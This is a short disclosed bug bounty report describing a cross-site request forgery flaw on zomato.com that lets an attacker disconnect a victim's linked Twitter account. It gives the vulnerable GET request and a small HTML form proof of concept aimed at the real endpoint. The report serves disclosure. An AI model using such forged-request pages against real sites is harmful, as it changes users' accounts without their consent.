Eternal · Report #114127
Twitter Disconnect CSRF
Validstatus
9upvotes
30 Sept 2016disclosed
How it was found
Hi
Using this CSRF vulnerability one could disconnect Twitter account from their profiles.
Vulnerable request
GET /php/disconnect_twitter_profile.php HTTP/1.1
Host: www.zomato.com
Connection: keep-alive
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36
Referer: https://www.zomato.com/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
X-dotNet-Beautifier: 668; DO-NOT-REMOVE
POC Code
<html>
<body>
<form action="https://www.zomato.com/php/disconnect_twitter_profile.php">
<input type="submit" value="disconnect" />
</form>
</body>
</html>
Steps to reproduce
- Add Account Twitter
- Connect to your twitter account
- Use the above poc code to disconnect the twitter account
Regards Husssain